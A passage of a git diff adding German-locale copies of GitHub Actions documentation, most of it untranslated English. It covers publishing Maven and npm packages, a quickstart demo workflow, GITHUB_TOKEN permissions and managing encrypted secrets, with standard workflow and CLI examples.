+on:
+  release:
+    types: [created]
+jobs:
+  publish:
+    runs-on: ubuntu-latest 
+    permissions: 
+      contents: read
+      packages: write 
+    steps:
+      - uses: {% data reusables.actions.action-checkout %}
+      - name: Set up Java for publishing to Maven Central Repository
+        uses: {% data reusables.actions.action-setup-java %}
+        with:
+          java-version: '11'
+          distribution: 'adopt'
+          server-id: ossrh
+          server-username: MAVEN_USERNAME
+          server-password: MAVEN_PASSWORD
+      - name: Publish to the Maven Central Repository
+        run: mvn --batch-mode deploy
+        env:
+          MAVEN_USERNAME: {% raw %}${{ secrets.OSSRH_USERNAME }}{% endraw %}
+          MAVEN_PASSWORD: {% raw %}${{ secrets.OSSRH_TOKEN }}{% endraw %}
+      - name: Set up Java for publishing to GitHub Packages
+        uses: {% data reusables.actions.action-setup-java %}
+        with:
+          java-version: '11'
+          distribution: 'adopt'
+      - name: Publish to GitHub Packages
+        run: mvn --batch-mode deploy
+        env:
+          GITHUB_TOKEN: {% raw %}${{ secrets.GITHUB_TOKEN }}{% endraw %}
+```
+
+Dieser Workflow ruft die `setup-java`-Aktion zweimal auf.  Jedes Mal, wenn die `setup-java`-Aktion ausgeführt wird, wird die Maven-Datei _settings.xml_ für die Veröffentlichung von Paketen überschrieben.  Bei der Authentifizierung beim Repository verweist die Datei _settings.xml_ auf das Distributionsverwaltungsrepository `id` sowie auf den Benutzernamen und das Kennwort.
+
+Dieser Workflow führt die folgenden Schritte aus:
+
+1. Checkt eine Kopie des Projekt-Repositorys aus.
+1. Ruft `setup-java` zum ersten Mal auf. Dadurch wird die Maven-Datei _settings.xml_ für das `ossrh`-Repository konfiguriert, und die Authentifizierungsoptionen werden auf Umgebungsvariablen festgelegt, die im nächsten Schritt definiert werden.
+1. {% data reusables.actions.publish-to-maven-workflow-step %}
+1. Ruft `setup-java` zum zweiten Mal auf. Dadurch wird die Maven-Datei _settings.xml_ automatisch für {% data variables.product.prodname_registry %} konfiguriert.
+1. {% data reusables.actions.publish-to-packages-workflow-step %}
+
+   Weitere Informationen zur Verwendung von Geheimnissen in deinem Workflow findest du unter [Erstellen und Verwenden verschlüsselter Geheimnisse](/actions/automating-your-workflow-with-github-actions/creating-and-using-encrypted-secrets).
diff --git a/translations/de-DE/content/actions/publishing-packages/publishing-nodejs-packages.md b/translations/de-DE/content/actions/publishing-packages/publishing-nodejs-packages.md
new file mode 100644
index 0000000000..34ccc87811
--- /dev/null
+++ b/translations/de-DE/content/actions/publishing-packages/publishing-nodejs-packages.md
@@ -0,0 +1,183 @@
+---
+title: Publishing Node.js packages
+shortTitle: Publish Node.js packages
+intro: You can publish Node.js packages to a registry as part of your continuous integration (CI) workflow.
+redirect_from:
+  - /actions/automating-your-workflow-with-github-actions/publishing-nodejs-packages
+  - /actions/language-and-framework-guides/publishing-nodejs-packages
+  - /actions/guides/publishing-nodejs-packages
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+type: tutorial
+topics:
+  - Packaging
+  - Publishing
+  - Node
+  - JavaScript
+---
+
+{% data reusables.actions.enterprise-beta %}
+{% data reusables.actions.enterprise-github-hosted-runners %}
+
+## Introduction
+
+This guide shows you how to create a workflow that publishes Node.js packages to the {% data variables.product.prodname_registry %} and npm registries after continuous integration (CI) tests pass.
+
+## Prerequisites
+
+We recommend that you have a basic understanding of workflow configuration options and how to create a workflow file. For more information, see "[Learn {% data variables.product.prodname_actions %}](/actions/learn-github-actions)."
+
+For more information about creating a CI workflow for your Node.js project, see "[Using Node.js with {% data variables.product.prodname_actions %}](/actions/automating-your-workflow-with-github-actions/using-nodejs-with-github-actions)."
+
+You may also find it helpful to have a basic understanding of the following:
+
+- "[Working with the npm registry](/packages/working-with-a-github-packages-registry/working-with-the-npm-registry)"
+- "[Environment variables](/actions/reference/environment-variables)"
+- "[Encrypted secrets](/actions/reference/encrypted-secrets)"
+- "[Authentication in a workflow](/actions/reference/authentication-in-a-workflow)"
+
+## About package configuration
+
+ The `name` and `version` fields in the *package.json* file create a unique identifier that registries use to link your package to a registry. You can add a summary for the package listing page by including a `description` field in the *package.json* file. For more information, see "[Creating a package.json file](https://docs.npmjs.com/creating-a-package-json-file)" and "[Creating Node.js modules](https://docs.npmjs.com/creating-node-js-modules)" in the npm documentation.
+
+When a local *.npmrc* file exists and has a `registry` value specified, the `npm publish` command uses the registry configured in the *.npmrc* file. {% data reusables.actions.setup-node-intro %}
+
+You can specify the Node.js version installed on the runner using the `setup-node` action.
+
+If you add steps in your workflow to configure the `publishConfig` fields in your *package.json* file, you don't need to specify the registry-url using the `setup-node` action, but you will be limited to publishing the package to one registry. For more information, see "[publishConfig](https://docs.npmjs.com/files/package.json#publishconfig)" in the npm documentation.
+
+## Publishing packages to the npm registry
+
+Each time you create a new release, you can trigger a workflow to publish your package. The workflow in the example below runs when the `release` event triggers with type `created`. The workflow publishes the package to the npm registry if CI tests pass.
+
+To perform authenticated operations against the npm registry in your workflow, you'll need to store your npm authentication token as a secret. For example, create a repository secret called `NPM_TOKEN`. For more information, see "[Creating and using encrypted secrets](/actions/automating-your-workflow-with-github-actions/creating-and-using-encrypted-secrets)."
+
+By default, npm uses the `name` field of the *package.json* file to determine the name of your published package. When publishing to a global namespace, you only need to include the package name. For example, you would publish a package named `npm-hello-world-test` to `https://www.npmjs.com/package/npm-hello-world-test`.
+
+If you're publishing a package that includes a scope prefix, include the scope in the name of your *package.json* file. For example, if your npm scope prefix is octocat and the package name is hello-world, the `name` in your *package.json* file should be `@octocat/hello-world`. If your npm package uses a scope prefix and the package is public, you need to use the option `npm publish --access public`. This is an option that npm requires to prevent someone from publishing a private package unintentionally.
+
+This example stores the `NPM_TOKEN` secret in the `NODE_AUTH_TOKEN` environment variable. When the `setup-node` action creates an *.npmrc* file, it references the token from the `NODE_AUTH_TOKEN` environment variable.
+
+```yaml{:copy}
+name: Publish Package to npmjs
+on:
+  release:
+    types: [created]
+jobs:
+  build:
+    runs-on: ubuntu-latest
+    steps:
+      - uses: {% data reusables.actions.action-checkout %}
+      # Setup .npmrc file to publish to npm
+      - uses: {% data reusables.actions.action-setup-node %}
+        with:
+          node-version: '16.x'
+          registry-url: 'https://registry.npmjs.org'
+      - run: npm ci
+      - run: npm publish
+        env:
+          NODE_AUTH_TOKEN: {% raw %}${{ secrets.NPM_TOKEN }}{% endraw %}
+```
+
+In the example above, the `setup-node` action creates an *.npmrc* file on the runner with the following contents:
+
+```ini
+//registry.npmjs.org/:_authToken=${NODE_AUTH_TOKEN}
+registry=https://registry.npmjs.org/
+always-auth=true
+```
+
+Please note that you need to set the `registry-url` to `https://registry.npmjs.org/` in `setup-node` to properly configure your credentials.
+
+## Publishing packages to {% data variables.product.prodname_registry %}
+
+Each time you create a new release, you can trigger a workflow to publish your package. The workflow in the example below runs anytime the `release` event with type `created` occurs. The workflow publishes the package to {% data variables.product.prodname_registry %} if CI tests pass.
+
+### Configuring the destination repository
+
+Linking your package to {% data variables.product.prodname_registry %} using the `repository` key is optional. If you choose not to provide the `repository` key in your *package.json* file, then {% data variables.product.prodname_registry %} publishes a package in the {% data variables.product.prodname_dotcom %} repository you specify in the `name` field of the *package.json* file. For example, a package named `@my-org/test` is published to the `my-org/test` {% data variables.product.prodname_dotcom %} repository. If the `url` specified in the `repository` key is invalid, your package may still be published however it won't be linked to the repository source as intended.
+
+If you do provide the `repository` key in your *package.json* file, then the repository in that key is used as the destination npm registry for {% data variables.product.prodname_registry %}. For example, publishing the below *package.json* results in a package named `my-amazing-package` published to the `octocat/my-other-repo` {% data variables.product.prodname_dotcom %} repository. Once published, only the repository source is updated, and the package doesn't inherit any permissions from the destination repository.
+
+```json
+{
+  "name": "@octocat/my-amazing-package",
+  "repository": {
+    "type": "git",
+    "url": "https://github.com/octocat/my-other-repo.git"
+  },
+```
+
+### Authenticating to the destination repository
+
+To perform authenticated operations against the {% data variables.product.prodname_registry %} registry in your workflow, you can use the `GITHUB_TOKEN`. {% data reusables.actions.github-token-permissions %}
+
+If you want to publish your package to a different repository, you must use a {% data variables.product.pat_v1 %} that has permission to write to packages in the destination repository. For more information, see "[Creating a {% data variables.product.pat_generic %}](/github/authenticating-to-github/creating-a-personal-access-token)" and "[Encrypted secrets](/actions/reference/encrypted-secrets)."
+
+### Example workflow
+
+This example stores the `GITHUB_TOKEN` secret in the `NODE_AUTH_TOKEN` environment variable. When the `setup-node` action creates an *.npmrc* file, it references the token from the `NODE_AUTH_TOKEN` environment variable.
+
+```yaml{:copy}
+name: Publish package to GitHub Packages
+on:
+  release:
+    types: [created]
+jobs:
+  build:
+    runs-on: ubuntu-latest 
+    permissions: 
+      contents: read
+      packages: write 
+    steps:
+      - uses: {% data reusables.actions.action-checkout %}
+      # Setup .npmrc file to publish to GitHub Packages
+      - uses: {% data reusables.actions.action-setup-node %}
+        with:
+          node-version: '16.x'
+          registry-url: 'https://npm.pkg.github.com'
+          # Defaults to the user or organization that owns the workflow file
+          scope: '@octocat'
+      - run: npm ci
+      - run: npm publish
+        env:
+          NODE_AUTH_TOKEN: {% raw %}${{ secrets.GITHUB_TOKEN }}{% endraw %}
+```
+
+The `setup-node` action creates an *.npmrc* file on the runner. When you use the `scope` input to the `setup-node` action, the *.npmrc* file includes the scope prefix. By default, the `setup-node` action sets the scope in the *.npmrc* file to the account that contains that workflow file.
+
+```ini
+//npm.pkg.github.com/:_authToken=${NODE_AUTH_TOKEN}
+@octocat:registry=https://npm.pkg.github.com
+always-auth=true
+```
+
+## Publishing packages using yarn
+
+If you use the Yarn package manager, you can install and publish packages using Yarn.
+
+```yaml{:copy}
+name: Publish Package to npmjs
+on:
+  release:
+    types: [created]
+jobs:
+  build:
+    runs-on: ubuntu-latest
+    steps:
+      - uses: {% data reusables.actions.action-checkout %}
+      # Setup .npmrc file to publish to npm
+      - uses: {% data reusables.actions.action-setup-node %}
+        with:
+          node-version: '16.x'
+          registry-url: 'https://registry.npmjs.org'
+          # Defaults to the user or organization that owns the workflow file
+          scope: '@octocat'
+      - run: yarn
+      - run: yarn publish
+        env:
+          NODE_AUTH_TOKEN: {% raw %}${{ secrets.NPM_TOKEN }}{% endraw %}
+```
diff --git a/translations/de-DE/content/actions/quickstart.md b/translations/de-DE/content/actions/quickstart.md
new file mode 100644
index 0000000000..44f3ab36a3
--- /dev/null
+++ b/translations/de-DE/content/actions/quickstart.md
@@ -0,0 +1,89 @@
+---
+title: Quickstart for GitHub Actions
+intro: 'Try out the features of {% data variables.product.prodname_actions %} in 5 minutes or less.'
+allowTitleToDifferFromFilename: true
+redirect_from:
+  - /actions/getting-started-with-github-actions/starting-with-preconfigured-workflow-templates
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+type: quick_start
+topics:
+  - Fundamentals
+shortTitle: Quickstart
+---
+
+{% data reusables.actions.enterprise-beta %}
+{% data reusables.actions.enterprise-github-hosted-runners %}
+
+## Introduction
+
+You only need a {% data variables.product.prodname_dotcom %} repository to create and run a {% data variables.product.prodname_actions %} workflow. In this guide, you'll add a workflow that demonstrates some of the essential features of {% data variables.product.prodname_actions %}. 
+
+The following example shows you how {% data variables.product.prodname_actions %} jobs can be automatically triggered, where they run, and how they can interact with the code in your repository.
+
+## Creating your first workflow
+
+1. Create a `.github/workflows` directory in  your repository on {% data variables.product.prodname_dotcom %} if this directory does not already exist.
+1. In the `.github/workflows` directory, create a file named `github-actions-demo.yml`. For more information, see "[Creating new files](/github/managing-files-in-a-repository/creating-new-files)."
+1. Copy the following YAML contents into the `github-actions-demo.yml` file:
+
+   ```yaml{:copy}
+   name: GitHub Actions Demo
+   {%- ifversion actions-run-name %}
+   run-name: {% raw %}${{ github.actor }}{% endraw %} is testing out GitHub Actions 🚀
+   {%- endif %}
+   on: [push]
+   jobs:
+     Explore-GitHub-Actions:
+       runs-on: ubuntu-latest
+       steps:
+         - run: echo "🎉 The job was automatically triggered by a {% raw %}${{ github.event_name }}{% endraw %} event."
+         - run: echo "🐧 This job is now running on a {% raw %}${{ runner.os }}{% endraw %} server hosted by GitHub!"
+         - run: echo "🔎 The name of your branch is {% raw %}${{ github.ref }}{% endraw %} and your repository is {% raw %}${{ github.repository }}{% endraw %}."
+         - name: Check out repository code
+           uses: {% data reusables.actions.action-checkout %}
+         - run: echo "💡 The {% raw %}${{ github.repository }}{% endraw %} repository has been cloned to the runner."
+         - run: echo "🖥️ The workflow is now ready to test your code on the runner."
+         - name: List files in the repository
+           run: |
+             ls {% raw %}${{ github.workspace }}{% endraw %}
+         - run: echo "🍏 This job's status is {% raw %}${{ job.status }}{% endraw %}."
+   ```
+1. Scroll to the bottom of the page and select **Create a new branch for this commit and start a pull request**. Then, to create a pull request, click **Propose new file**.
+
+   ![Commit workflow file](/assets/images/help/repository/actions-quickstart-commit-new-file.png)
+
+Committing the workflow file to a branch in your repository triggers the `push` event and runs your workflow.
+
+## Viewing your workflow results
+
+{% data reusables.repositories.navigate-to-repo %}
+{% data reusables.repositories.actions-tab %}
+1. In the left sidebar, click the workflow you want to see.
+
+   ![Workflow list in left sidebar](/assets/images/help/repository/actions-quickstart-workflow-sidebar.png)
+1. From the list of workflow runs, click the name of the run you want to see.
+
+   ![Name of workflow run](/assets/images/help/repository/actions-quickstart-run-name.png)
+1. Under **Jobs** , click the **Explore-GitHub-Actions** job.
+
+   ![Locate job](/assets/images/help/repository/actions-quickstart-job.png)
+1. The log shows you how each of the steps was processed. Expand any of the steps to view its details.
+
+   ![Example workflow results](/assets/images/help/repository/actions-quickstart-logs.png)
+   
+   For example, you can see the list of files in your repository:
+   ![Example action detail](/assets/images/help/repository/actions-quickstart-log-detail.png)
+
+The example workflow you just added is triggered each time code is pushed to the branch, and shows you how {% data variables.product.prodname_actions %} can work with the contents of your repository. For an in-depth tutorial, see "[Understanding {% data variables.product.prodname_actions %}](/actions/learn-github-actions/understanding-github-actions)."
+
+## More starter workflows
+
+{% data reusables.actions.workflow-template-overview %}
+
+## Next steps
+
+{% data reusables.actions.onboarding-next-steps %}
diff --git a/translations/de-DE/content/actions/security-guides/automatic-token-authentication.md b/translations/de-DE/content/actions/security-guides/automatic-token-authentication.md
new file mode 100644
index 0000000000..ba4f2ce5f5
--- /dev/null
+++ b/translations/de-DE/content/actions/security-guides/automatic-token-authentication.md
@@ -0,0 +1,125 @@
+---
+title: Automatic token authentication
+intro: '{% data variables.product.prodname_dotcom %} provides a token that you can use to authenticate on behalf of {% data variables.product.prodname_actions %}.'
+redirect_from:
+  - /github/automating-your-workflow-with-github-actions/authenticating-with-the-github_token
+  - /actions/automating-your-workflow-with-github-actions/authenticating-with-the-github_token
+  - /actions/configuring-and-managing-workflows/authenticating-with-the-github_token
+  - /actions/reference/authentication-in-a-workflow
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+shortTitle: Automatic token authentication
+---
+
+{% data reusables.actions.enterprise-beta %}
+{% data reusables.actions.enterprise-github-hosted-runners %}
+
+## About the `GITHUB_TOKEN` secret
+
+At the start of each workflow run, {% data variables.product.prodname_dotcom %} automatically creates a unique `GITHUB_TOKEN` secret to use in your workflow. You can use the `GITHUB_TOKEN` to authenticate in a workflow run.
+
+When you enable {% data variables.product.prodname_actions %}, {% data variables.product.prodname_dotcom %} installs a {% data variables.product.prodname_github_app %} on your repository. The `GITHUB_TOKEN` secret is a {% data variables.product.prodname_github_app %} installation access token. You can use the installation access token to authenticate on behalf of the {% data variables.product.prodname_github_app %} installed on your repository. The token's permissions are limited to the repository that contains your workflow. For more information, see "[Permissions for the `GITHUB_TOKEN`](#permissions-for-the-github_token)."
+
+Before each job begins, {% data variables.product.prodname_dotcom %} fetches an installation access token for the job. {% data reusables.actions.github-token-expiration %}
+
+The token is also available in the `github.token` context. For more information, see "[Contexts](/actions/learn-github-actions/contexts#github-context)."
+
+## Using the `GITHUB_TOKEN` in a workflow
+
+You can use the `GITHUB_TOKEN` by using the standard syntax for referencing secrets: {%raw%}`${{ secrets.GITHUB_TOKEN }}`{% endraw %}. Examples of using the `GITHUB_TOKEN` include passing the token as an input to an action, or using it to make an authenticated {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API request.
+
+{% note %}
+
+**Important:** An action can access the `GITHUB_TOKEN` through the `github.token` context even if the workflow does not explicitly pass the `GITHUB_TOKEN` to the action. As a good security practice, you should always make sure that actions only have the minimum access they require by limiting the permissions granted to the `GITHUB_TOKEN`. For more information, see "[Permissions for the `GITHUB_TOKEN`](#permissions-for-the-github_token)."
+
+{% endnote %}
+
+{% data reusables.actions.actions-do-not-trigger-workflows %}
+
+### Example 1: passing the `GITHUB_TOKEN` as an input
+
+{% data reusables.actions.github_token-input-example %}
+
+### Example 2: calling the REST API
+
+You can use the `GITHUB_TOKEN` to make authenticated API calls. This example workflow creates an issue using the {% data variables.product.prodname_dotcom %} REST API:
+
+```yaml
+name: Create issue on commit
+
+on: [ push ]
+
+jobs:
+  create_issue:
+    runs-on: ubuntu-latest
+    permissions:
+      issues: write 
+    steps:
+      - name: Create issue using REST API
+        run: |
+          curl --request POST \
+          --url {% data variables.product.api_url_code %}/repos/${% raw %}{{ github.repository }}{% endraw %}/issues \
+          --header 'authorization: Bearer ${% raw %}{{ secrets.GITHUB_TOKEN }}{% endraw %}' \
+          --header 'content-type: application/json' \
+          --data '{
+            "title": "Automated issue for commit: ${% raw %}{{ github.sha }}{% endraw %}",
+            "body": "This issue was automatically created by the GitHub Action workflow **${% raw %}{{ github.workflow }}{% endraw %}**. \n\n The commit hash was: _${% raw %}{{ github.sha }}{% endraw %}_."
+            }' \
+          --fail
+```
+
+## Permissions for the `GITHUB_TOKEN`
+
+For information about the API endpoints {% data variables.product.prodname_github_apps %} can access with each permission, see "[{% data variables.product.prodname_github_app %} Permissions](/rest/reference/permissions-required-for-github-apps)."
+
+The following table shows the permissions granted to the `GITHUB_TOKEN` by default. People with admin permissions to an {% ifversion not ghes %}enterprise, organization, or repository,{% else %}organization or repository{% endif %} can set the default permissions to be either permissive or restricted. For information on how to set the default permissions for the `GITHUB_TOKEN` for your enterprise, organization, or repository, see "[Enforcing policies for {% data variables.product.prodname_actions %} in your enterprise](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-github-actions-policies-for-your-enterprise#enforcing-a-policy-for-workflow-permissions-in-your-enterprise)," "[Disabling or limiting {% data variables.product.prodname_actions %} for your organization](/github/setting-up-and-managing-organizations-and-teams/disabling-or-limiting-github-actions-for-your-organization#setting-the-permissions-of-the-github_token-for-your-organization)," or "[Managing {% data variables.product.prodname_actions %} settings for a repository](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-github-actions-settings-for-a-repository#setting-the-permissions-of-the-github_token-for-your-repository)."
+
+| Scope         | Default access<br>(permissive) | Default access<br>(restricted) | Maximum access<br>by forked repos |
+|---------------|-----------------------------|-----------------------------|--------------------------------|
+| actions       | read/write  | none | read |
+| checks        | read/write  | none | read |
+| contents      | read/write  | read | read |
+| deployments   | read/write  | none | read |{% ifversion fpt or ghec %}
+| id-token      | none        | none | read |{% endif %}
+| issues        | read/write  | none | read |
+| metadata      | read        | read | read |
+| packages      | read/write  | none | read |
+| pages         | read/write  | none | read |
+| pull-requests | read/write  | none | read |
+| repository-projects | read/write | none | read |
+| security-events     | read/write | none | read |
+| statuses      | read/write  | none | read |
+
+{% data reusables.actions.workflow-runs-dependabot-note %}
+
+### Modifying the permissions for the `GITHUB_TOKEN`
+
+You can modify the permissions for the `GITHUB_TOKEN` in individual workflow files. If the default permissions for the `GITHUB_TOKEN` are restrictive, you may have to elevate the permissions to allow some actions and commands to run successfully. If the default permissions are permissive, you can edit the workflow file to remove some permissions from the `GITHUB_TOKEN`. As a good security practice, you should grant the `GITHUB_TOKEN` the least required access.
+
+You can see the permissions that `GITHUB_TOKEN` had for a specific job in the "Set up job" section of the workflow run log. For more information, see "[Using workflow run logs](/actions/managing-workflow-runs/using-workflow-run-logs)."
+
+You can use the `permissions` key in your workflow file to modify permissions for the `GITHUB_TOKEN` for an entire workflow or for individual jobs. This allows you to configure the minimum required permissions for a workflow or job. When the `permissions` key is used, all unspecified permissions are set to no access, with the exception of the `metadata` scope, which always gets read access.
+
+{% data reusables.actions.forked-write-permission %}
+
+The two workflow examples earlier in this article show the `permissions` key being used at the workflow level, and at the job level. In [Example 1](#example-1-passing-the-github_token-as-an-input) the two permissions are specified for the entire workflow. In [Example 2](#example-2-calling-the-rest-api) write access is granted for one scope for a single job.
+
+For full details of the `permissions` key, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/actions/reference/workflow-syntax-for-github-actions#permissions)."
+
+#### How the permissions are calculated for a workflow job
+
+The permissions for the `GITHUB_TOKEN` are initially set to the default setting for the enterprise, organization, or repository. If the default is set to the restricted permissions at any of these levels then this will apply to the relevant repositories. For example, if you choose the restricted default at the organization level then all repositories in that organization will use the restricted permissions as the default. The permissions are then adjusted based on any configuration within the workflow file, first at the workflow level and then at the job level. Finally, if the workflow was triggered by a pull request from a forked repository, and the **Send write tokens to workflows from pull requests** setting is not selected, the permissions are adjusted to change any write permissions to read only.
+
+### Granting additional permissions
+
+If you need a token that requires permissions that aren't available in the `GITHUB_TOKEN`, you can create a {% data variables.product.pat_generic %} and set it as a secret in your repository:
+
+1. Use or create a token with the appropriate permissions for that repository. For more information, see "[Creating a {% data variables.product.pat_generic %}](/github/authenticating-to-github/creating-a-personal-access-token)."
+1. Add the token as a secret in your workflow's repository, and refer to it using the {%raw%}`${{ secrets.SECRET_NAME }}`{% endraw %} syntax. For more information, see "[Creating and using encrypted secrets](/github/automating-your-workflow-with-github-actions/creating-and-using-encrypted-secrets)."
+
+### Further reading
+
+- "[Resources in the REST API](/rest/overview/resources-in-the-rest-api#rate-limiting)"
diff --git a/translations/de-DE/content/actions/security-guides/encrypted-secrets.md b/translations/de-DE/content/actions/security-guides/encrypted-secrets.md
new file mode 100644
index 0000000000..fe5355ee55
--- /dev/null
+++ b/translations/de-DE/content/actions/security-guides/encrypted-secrets.md
@@ -0,0 +1,422 @@
+---
+title: Encrypted secrets
+intro: 'Encrypted secrets allow you to store sensitive information in your organization{% ifversion fpt or ghes or ghec %}, repository, or repository environments{% else %} or repository{% endif %}.'
+redirect_from:
+  - /github/automating-your-workflow-with-github-actions/creating-and-using-encrypted-secrets
+  - /actions/automating-your-workflow-with-github-actions/creating-and-using-encrypted-secrets
+  - /actions/configuring-and-managing-workflows/creating-and-storing-encrypted-secrets
+  - /actions/configuring-and-managing-workflows/using-variables-and-secrets-in-a-workflow
+  - /actions/reference/encrypted-secrets
+  - /actions/managing-workflows/storing-secrets
+  
+miniTocMaxHeadingLevel: 3
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+---
+
+{% data reusables.actions.enterprise-beta %}
+{% data reusables.actions.enterprise-github-hosted-runners %}
+
+## About encrypted secrets
+
+Secrets are encrypted environment variables that you create in an organization, repository, or repository environment. The secrets that you create are available to use in {% data variables.product.prodname_actions %} workflows. {% data variables.product.prodname_dotcom %} uses a [libsodium sealed box](https://libsodium.gitbook.io/doc/public-key_cryptography/sealed_boxes) to help ensure that secrets are encrypted before they reach {% data variables.product.prodname_dotcom %} and remain encrypted until you use them in a workflow.
+
+{% data reusables.actions.secrets-org-level-overview %}
+
+For secrets stored at the environment level, you can enable required reviewers to control access to the secrets. A workflow job cannot access environment secrets until approval is granted by required approvers.
+
+{% ifversion fpt or ghec or ghes > 3.4 %}
+
+{% note %}
+
+**Note**: {% data reusables.actions.about-oidc-short-overview %}
+
+{% endnote %}
+
+{% endif %}
+
+### Naming your secrets
+
+{% data reusables.codespaces.secrets-naming %}
+
+  For example, a secret created at the environment level must have a unique name in that environment, a secret created at the repository level must have a unique name in that repository, and a secret created at the organization level must have a unique name at that level.
+
+  {% data reusables.codespaces.secret-precedence %} Similarly, if an organization, repository, and environment all have a secret with the same name, the environment-level secret takes precedence.
+
+To help ensure that {% data variables.product.prodname_dotcom %} redacts your secret in logs, avoid using structured data as the values of secrets. For example, avoid creating secrets that contain JSON or encoded Git blobs.
+
+### Accessing your secrets
+
+To make a secret available to an action, you must set the secret as an input or environment variable in the workflow file. Review the action's README file to learn about which inputs and environment variables the action expects. For more information, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/articles/workflow-syntax-for-github-actions/#jobsjob_idstepsenv)."
+
+You can use and read encrypted secrets in a workflow file if you have access to edit the file. For more information, see "[Access permissions on {% data variables.product.prodname_dotcom %}](/github/getting-started-with-github/access-permissions-on-github)."
+
+{% data reusables.actions.secrets-redaction-warning %}
+
+Organization and repository secrets are read when a workflow run is queued, and environment secrets are read when a job referencing the environment starts.
+
+You can also manage secrets using the REST API. For more information, see "[Secrets](/rest/reference/actions#secrets)."
+
+### Limiting credential permissions
+
+When generating credentials, we recommend that you grant the minimum permissions possible. For example, instead of using personal credentials, use [deploy keys](/developers/overview/managing-deploy-keys#deploy-keys) or a service account. Consider granting read-only permissions if that's all that is needed, and limit access as much as possible. When generating a {% data variables.product.pat_v1 %}, select the fewest scopes necessary.{% ifversion pat-v2 %} When generating a {% data variables.product.pat_v2 %}, select the minimum repository access required.{% endif %}
+
+{% note %}
+
+**Note:** You can use the REST API to manage secrets. For more information, see "[{% data variables.product.prodname_actions %} secrets API](/rest/reference/actions#secrets)."
+
+{% endnote %}
+
+## Creating encrypted secrets for a repository
+
+{% data reusables.actions.permissions-statement-secrets-repository %}
+
+{% webui %}
+
+{% data reusables.repositories.navigate-to-repo %}
+{% data reusables.repositories.sidebar-settings %}
+{% data reusables.actions.sidebar-secret %}
+1. Click **New repository secret**.
+1. Type a name for your secret in the **Name** input box.
+1. Enter the value for your secret.
+1. Click **Add secret**.
+
+If your repository has environment secrets or can access secrets from the parent organization, then those secrets are also listed on this page.
+
+{% endwebui %}
+
+{% cli %}
+
+{% data reusables.cli.cli-learn-more %}
+
+To add a repository secret, use the `gh secret set` subcommand. Replace `secret-name` with the name of your secret.
+
+```shell
+gh secret set SECRET_NAME
+```
+
+The CLI will prompt you to enter a secret value. Alternatively, you can read the value of the secret from a file.
+
+```shell
+gh secret set SECRET_NAME < secret.txt
+```
+
+To list all secrets for the repository, use the `gh secret list` subcommand.
+
+{% endcli %}
+
+## Creating encrypted secrets for an environment
+
+{% data reusables.actions.permissions-statement-secrets-environment %}
+
+{% webui %}
+
+{% data reusables.repositories.navigate-to-repo %}
+{% data reusables.repositories.sidebar-settings %}
+{% data reusables.actions.sidebar-environment %}
+1. Click on the environment that you want to add a secret to.
+2. Under **Environment secrets**, click **Add secret**.
+3. Type a name for your secret in the **Name** input box.
+4. Enter the value for your secret.
+5. Click **Add secret**.
+
+{% endwebui %}
+
+{% cli %}
+
+To add a secret for an environment, use the `gh secret set` subcommand with the `--env` or `-e` flag followed by the environment name.
+
+```shell
+gh secret set --env ENV_NAME SECRET_NAME
+```
+
+To list all secrets for an environment, use the `gh secret list` subcommand with the `--env` or `-e` flag followed by the environment name.
+
+```shell
+gh secret list --env ENV_NAME
+```
+
+{% endcli %}
+
+## Creating encrypted secrets for an organization
+
+When creating a secret in an organization, you can use a policy to limit which repositories can access that secret. For example, you can grant access to all repositories, or limit access to only private repositories or a specified list of repositories.
+
+{% data reusables.actions.permissions-statement-secrets-organization %}
+
+{% webui %}
+
+{% data reusables.organizations.navigate-to-org %}
+{% data reusables.organizations.org_settings %}
+{% data reusables.actions.sidebar-secret %}
+1. Click **New organization secret**.
+1. Type a name for your secret in the **Name** input box.
+1. Enter the **Value** for your secret.
+1. From the **Repository access** dropdown list, choose an access policy.
+1. Click **Add secret**.
+
+{% endwebui %}
+
+{% cli %}
+
+{% note %}
+
+**Note:** By default, {% data variables.product.prodname_cli %} authenticates with the `repo` and `read:org` scopes. To manage organization secrets, you must additionally authorize the `admin:org` scope.
+
+```
+gh auth login --scopes "admin:org"
+```
+
+{% endnote %}
+
+To add a secret for an organization, use the `gh secret set` subcommand with the `--org` or `-o` flag followed by the organization name.
+
+```shell
+gh secret set --org ORG_NAME SECRET_NAME
+```
+
+By default, the secret is only available to private repositories. To specify that the secret should be available to all repositories within the organization, use the `--visibility` or `-v` flag.
+
+```shell
+gh secret set --org ORG_NAME SECRET_NAME --visibility all
+```
+
+To specify that the secret should be available to selected repositories within the organization, use the `--repos` or `-r` flag.
+
+```shell
+gh secret set --org ORG_NAME SECRET_NAME --repos REPO-NAME-1, REPO-NAME-2"
+```
+
+To list all secrets for an organization, use the `gh secret list` subcommand with the `--org` or `-o` flag followed by the organization name.
+
+```shell
+gh secret list --org ORG_NAME
+```
+
+{% endcli %}
+
+## Reviewing access to organization-level secrets
+
+You can check which access policies are being applied to a secret in your organization.
+
+{% data reusables.organizations.navigate-to-org %}
+{% data reusables.organizations.org_settings %}
+{% data reusables.actions.sidebar-secret %}
+1. The list of secrets includes any configured permissions and policies. For example:
+![Secrets list](/assets/images/help/settings/actions-org-secrets-list.png)
+1. For more details on the configured permissions for each secret, click **Update**.
+
+## Using encrypted secrets in a workflow
+
+{% note %}
+
+**Notes:**
+
+* {% data reusables.actions.forked-secrets %}
+
+{% ifversion fpt or ghec or ghes > 3.3 or ghae > 3.3 %}
+
+* Secrets are not automatically passed to reusable workflows. For more information, see "[Reusing workflows](/actions/using-workflows/reusing-workflows#passing-inputs-and-secrets-to-a-reusable-workflow)."
+
+{% endif %}
+
+{% endnote %}
+
+To provide an action with a secret as an input or environment variable, you can use the `secrets` context to access secrets you've created in your repository. For more information, see "[Contexts](/actions/learn-github-actions/contexts)" and "[Workflow syntax for {% data variables.product.prodname_actions %}](/github/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions)."
+
+{% raw %}
+```yaml
+steps:
